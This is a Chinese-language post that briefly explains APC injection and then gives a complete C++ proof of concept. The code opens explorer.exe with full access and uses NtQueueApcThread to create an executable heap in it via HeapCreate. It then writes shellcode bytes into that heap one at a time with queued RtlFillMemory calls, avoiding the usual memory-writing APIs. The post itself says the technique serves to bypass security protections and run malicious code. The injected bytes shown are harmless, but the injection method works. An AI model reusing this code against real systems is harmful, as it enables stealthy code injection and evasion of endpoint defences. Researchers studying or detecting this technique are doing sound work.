概述:利用 HeapCreate 实现 APC 注入
原理
APC(Asynchronous Procedure Call,异步过程调用)注入是一种利用 Windows 操作系统的线程调度机制实现代码注入的技术,通常用于绕过安全防护或执行恶意代码。其核心原理是通过向目标线程的 APC 队列插入自定义回调函数,迫使目标线程在特定时机执行注入的代码。
代码
// NtQueueApcThread.cpp : 定义控制台应用程序的入口点。
//
#include <windows.h>
#include <winternl.h>
#pragma comment(lib,"ntdll.lib")
#define NTKERNELAPI DECLSPEC_IMPORT
#define RTL_MAX_DRIVE_LETTERS 32
#define GDI_HANDLE_BUFFER_SIZE32 34
#define GDI_HANDLE_BUFFER_SIZE64 60
#define GDI_BATCH_BUFFER_SIZE 310
#define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 )
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
#if !defined(_M_X64)
#define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE32
#else
#define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE64
#endif
typedef ULONG GDI_HANDLE_BUFFER32[GDI_HANDLE_BUFFER_SIZE32];
typedef ULONG GDI_HANDLE_BUFFER64[GDI_HANDLE_BUFFER_SIZE64];
typedef ULONG GDI_HANDLE_BUFFER[GDI_HANDLE_BUFFER_SIZE];
typedef struct _PEBX64 {
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
union
{
BOOLEAN BitField;
struct
{
BOOLEAN ImageUsesLargePages : 1;
BOOLEAN IsProtectedProcess : 1;
BOOLEAN IsImageDynamicallyRelocated : 1;
BOOLEAN SkipPatchingUser32Forwarders : 1;
BOOLEAN IsPackagedProcess : 1;
BOOLEAN IsAppContainer : 1;
BOOLEAN IsProtectedProcessLight : 1;
BOOLEAN IsLongPathAwareProcess : 1;
};
};
HANDLE Mutant;
PVOID ImageBaseAddress;
PPEB_LDR_DATA Ldr;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
PVOID SubSystemData;
PVOID ProcessHeap;
PRTL_CRITICAL_SECTION FastPebLock;
PVOID AtlThunkSListPtr;
PVOID IFEOKey;
union
{
ULONG CrossProcessFlags;
struct
{
ULONG ProcessInJob : 1;
ULONG ProcessInitializing : 1;
ULONG ProcessUsingVEH : 1;
ULONG ProcessUsingVCH : 1;
ULONG ProcessUsingFTH : 1;
ULONG ProcessPreviouslyThrottled : 1;
ULONG ProcessCurrentlyThrottled : 1;
ULONG ReservedBits0 : 25;
};
ULONG EnvironmentUpdateCount;
};
union
{
PVOID KernelCallbackTable;
PVOID UserSharedInfoPtr;
};
ULONG SystemReserved[1];
ULONG AtlThunkSListPtr32;
PVOID ApiSetMap;
ULONG TlsExpansionCounter;
PVOID TlsBitmap;
ULONG TlsBitmapBits[2];
PVOID ReadOnlySharedMemoryBase;
PVOID HotpatchInformation;
PVOID* ReadOnlyStaticServerData;
PVOID AnsiCodePageData;
PVOID OemCodePageData;
PVOID UnicodeCaseTableData;
ULONG NumberOfProcessors;
ULONG NtGlobalFlag;
LARGE_INTEGER CriticalSectionTimeout;
SIZE_T HeapSegmentReserve;
SIZE_T HeapSegmentCommit;
SIZE_T HeapDeCommitTotalFreeThreshold;
SIZE_T HeapDeCommitFreeBlockThreshold;
ULONG NumberOfHeaps;
ULONG MaximumNumberOfHeaps;
PVOID* ProcessHeaps;
PVOID GdiSharedHandleTable;
PVOID ProcessStarterHelper;
ULONG GdiDCAttributeList;
PRTL_CRITICAL_SECTION LoaderLock;
ULONG OSMajorVersion;
ULONG OSMinorVersion;
USHORT OSBuildNumber;
USHORT OSCSDVersion;
ULONG OSPlatformId;
ULONG ImageSubsystem;
ULONG ImageSubsystemMajorVersion;
ULONG ImageSubsystemMinorVersion;
ULONG_PTR ImageProcessAffinityMask;
GDI_HANDLE_BUFFER GdiHandleBuffer;
PVOID PostProcessInitRoutine;
PVOID TlsExpansionBitmap;
ULONG TlsExpansionBitmapBits[32];
ULONG SessionId;
ULARGE_INTEGER AppCompatFlags;
ULARGE_INTEGER AppCompatFlagsUser;
PVOID pShimData;
PVOID AppCompatInfo;
UNICODE_STRING CSDVersion;
PVOID ActivationContextData;
PVOID ProcessAssemblyStorageMap;
PVOID SystemDefaultActivationContextData;
PVOID SystemAssemblyStorageMap;
SIZE_T MinimumStackCommit;
PVOID* FlsCallback;
LIST_ENTRY FlsListHead;
PVOID FlsBitmap;
ULONG FlsBitmapBits[FLS_MAXIMUM_AVAILABLE / (sizeof(ULONG) * 8)];
ULONG FlsHighIndex;
PVOID WerRegistrationData;
PVOID WerShipAssertPtr;
PVOID pContextData;
PVOID pImageHeaderHash;
union
{
ULONG TracingFlags;
struct
{
ULONG HeapTracingEnabled : 1;
ULONG CritSecTracingEnabled : 1;
ULONG LibLoaderTracingEnabled : 1;
ULONG SpareTracingBits : 29;
};
};
ULONGLONG CsrServerReadOnlySharedMemoryBase;
} PEBX64, * PPEBX64;
#if false
typedef struct _CLIENT_ID {
HANDLE UniqueProcess;
HANDLE UniqueThread;
}CLIENT_ID, * PCLIENT_ID;
#else
typedef _CLIENT_ID* PCLIENT_ID;
#endif
#ifdef __cplusplus
extern "C" {
#endif
NTKERNELAPI LONG NTAPI
RtlCompareUnicodeString(
IN PCUNICODE_STRING String1,
IN PCUNICODE_STRING String2,
IN BOOLEAN CaseInSensitive
);
NTKERNELAPI NTSTATUS NTAPI
NtFsControlFile(
__in HANDLE FileHandle,
__in_opt HANDLE Event,
__in_opt PIO_APC_ROUTINE ApcRoutine,
__in_opt PVOID ApcContext,
__out PIO_STATUS_BLOCK IoStatusBlock,
__in ULONG IoControlCode,
__in_bcount_opt(InputBufferLength) PVOID InputBuffer,
__in ULONG InputBufferLength,
__out_bcount_opt(OutputBufferLength) PVOID OutputBuffer,
__in ULONG OutputBufferLength
);
NTKERNELAPI NTSTATUS NTAPI
NtWriteFile(
__in HANDLE FileHandle,
__in_opt HANDLE Event,
__in_opt PIO_APC_ROUTINE ApcRoutine,
__in_opt PVOID ApcContext,
__out PIO_STATUS_BLOCK IoStatusBlock,
__in_bcount(Length) PVOID Buffer,
__in ULONG Length,
__in_opt PLARGE_INTEGER ByteOffset,
__in_opt PULONG Key
);
NTKERNELAPI PIMAGE_NT_HEADERS NTAPI
NTAPI
RtlImageNtHeader(
PVOID Base
);
NTKERNELAPI
NTSTATUS
NTAPI
NtQueueApcThread(
IN HANDLE ThreadHandle,
IN FARPROC ApcRoutine,
IN PVOID ApcArgument1,
IN PVOID ApcArgument2,
IN PVOID ApcArgument3
);
NTKERNELAPI
NTSTATUS
NTAPI NtCreateThreadEx(PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateThreadFlags,
DWORD ZeroBits,
DWORD StackSize,
DWORD MaximumStackSize,
PVOID lpBytesBuffer);
NTKERNELAPI NTSTATUS NTAPI
RtlCreateUserThread(
IN HANDLE Process,
IN PSECURITY_DESCRIPTOR ThreadSecurityDescriptor OPTIONAL,
IN BOOLEAN CreateSuspended,
IN ULONG ZeroBits OPTIONAL,
IN SIZE_T MaximumStackSize OPTIONAL,
IN SIZE_T CommittedStackSize OPTIONAL,
IN LPTHREAD_START_ROUTINE StartAddress,
IN PVOID Parameter OPTIONAL,
OUT PHANDLE Thread OPTIONAL,
OUT PCLIENT_ID ClientId OPTIONAL
);
#ifdef __cplusplus
}
#endif
#define NT_CREATE_THREAD_EX_SUSPENDED 1
#define NT_CREATE_THREAD_EX_ALL_ACCESS 0x001FFFFF
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
int _tmain(int argc, _TCHAR* argv[])
{
HWND Shell_TrayWnd = FindWindow(L"Shell_TrayWnd", NULL);
DWORD dwProcessId = 0;
NTSTATUS Status;
BOOL bRet = FALSE;
HANDLE hThread = NULL;
GetWindowThreadProcessId(Shell_TrayWnd, &dwProcessId);
//HANDLE hProcess = OpenProcess(PROCESS_VM_READ|PROCESS_CREATE_THREAD|PROCESS_QUERY_INFORMATION,FALSE,dwProcessId);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (hProcess)
{
ULONG URet = 0;
SIZE_T SizeRet = 0;
CLIENT_ID ClientId = { 0 };
PEBX64 TheExplorerPeb = { 0 };
PROCESS_BASIC_INFORMATION BasicInfo = { 0 };
Status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &BasicInfo, sizeof(BasicInfo), &URet);
bRet = ReadProcessMemory(hProcess, BasicInfo.PebBaseAddress, &TheExplorerPeb, sizeof(TheExplorerPeb), &SizeRet);
ULONG UlHeapArraySize = TheExplorerPeb.NumberOfHeaps * sizeof(ULONG_PTR);
PULONG_PTR UlOldHeapArray = (PULONG_PTR)new BYTE[UlHeapArraySize];
bRet = ReadProcessMemory(hProcess, TheExplorerPeb.ProcessHeaps, UlOldHeapArray, UlHeapArraySize, &SizeRet);
delete[]UlOldHeapArray;
FARPROC RtlFillMemory = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "RtlFillMemory");
//Status = NtCreateThreadEx(&hThread, NT_CREATE_THREAD_EX_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)ExitThread, (LPVOID)0, NT_CREATE_THREAD_EX_SUSPENDED, NULL, 0, 0, NULL);
Status = RtlCreateUserThread(hProcess, NULL, TRUE, 0, 0, 0, (LPTHREAD_START_ROUTINE)ExitThread, NULL, &hThread, &ClientId);
if (NT_SUCCESS(Status))
{
FARPROC HeapCreateProc = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "HeapCreate");
Status = NtQueueApcThread(hThread, (FARPROC)HeapCreate, (PVOID)HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
if (NT_SUCCESS(Status))
{
ResumeThread(hThread);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
}
}
bRet = ReadProcessMemory(hProcess, BasicInfo.PebBaseAddress, &TheExplorerPeb, sizeof(TheExplorerPeb), &SizeRet);
UlHeapArraySize = TheExplorerPeb.NumberOfHeaps * sizeof(ULONG_PTR);
PULONG_PTR UlNewHeapArray = (PULONG_PTR)new BYTE[UlHeapArraySize];
bRet = ReadProcessMemory(hProcess, TheExplorerPeb.ProcessHeaps, UlNewHeapArray, UlHeapArraySize, &SizeRet);
HANDLE hTestHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
LPVOID lpAllocMem = HeapAlloc(hTestHeap, 0, 0x2000);
ULONG UlHeapOffset = (PBYTE)lpAllocMem - (PBYTE)hTestHeap;
bRet = HeapFree(hTestHeap, 0, lpAllocMem);
bRet = HeapDestroy(hTestHeap);
ULONG_PTR UlRemoteXHeap = UlNewHeapArray[TheExplorerPeb.NumberOfHeaps - 1];
ULONG_PTR UlWriteMemAdr = UlRemoteXHeap + UlHeapOffset;
delete[]UlNewHeapArray;
Status = RtlCreateUserThread(hProcess, NULL, TRUE, 0, 0, 0, (LPTHREAD_START_ROUTINE)ExitThread, NULL, &hThread, &ClientId);
if (NT_SUCCESS(Status))
{
BYTE MemByte[] = { 0x33,0xc0,0xc3,0x90 };
ULONG UlWrite = *(PULONG)MemByte;
FARPROC HeapCreateProc = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "HeapCreate");
Status = NtQueueApcThread(hThread, (FARPROC)HeapAlloc, (PVOID)UlRemoteXHeap, 0, (PVOID)0x2000);
for (int i = 0; i < 4; i++)
{
Status = NtQueueApcThread(hThread, (FARPROC)RtlFillMemory, (PVOID)(UlWriteMemAdr + i), (PVOID)1, (PVOID) * (MemByte + i));
}
if (NT_SUCCESS(Status))
{
ResumeThread(hThread);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
}
}
}
return 0;
}